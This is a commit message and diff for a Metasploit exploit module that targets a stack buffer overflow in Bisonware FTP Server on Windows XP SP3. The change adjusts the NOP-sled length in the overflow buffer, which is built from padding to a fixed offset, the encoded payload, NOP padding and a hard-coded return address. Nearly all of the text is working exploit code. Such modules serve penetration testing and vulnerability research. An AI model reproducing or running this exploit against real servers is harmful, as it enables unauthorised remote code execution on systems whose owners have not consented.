Update bison_ftp_bof.rb

Adding constant NOP

modules/exploits/windows/ftp/bison_ftp_bof.rb

@@ -48,7 +48,8 @@ class Metasploit4 < Msf::Exploit::Remote
           [ 'Bisonware FTP Server / Windows XP SP3 EN',
             {
               'Ret' => 0x0040333f,
-              'Offset'   => 1028
+              'Offset'   => 1028,
+              'Nops'     =>  404
             }
           ],
         ],
@@ -77,9 +78,8 @@ class Metasploit4 < Msf::Exploit::Remote
     connect #connect for the second time
 
     buf = rand_text_alpha(target['Offset'])
-    buf << make_nops(16)
     buf << payload.encoded
-    buf << make_nops(388 - payload.encoded.length)
+    buf << make_nops( (target['Nops']) - payload.encoded.length)
     buf << [target.ret].pack('V')
     print_status('Sending payload...')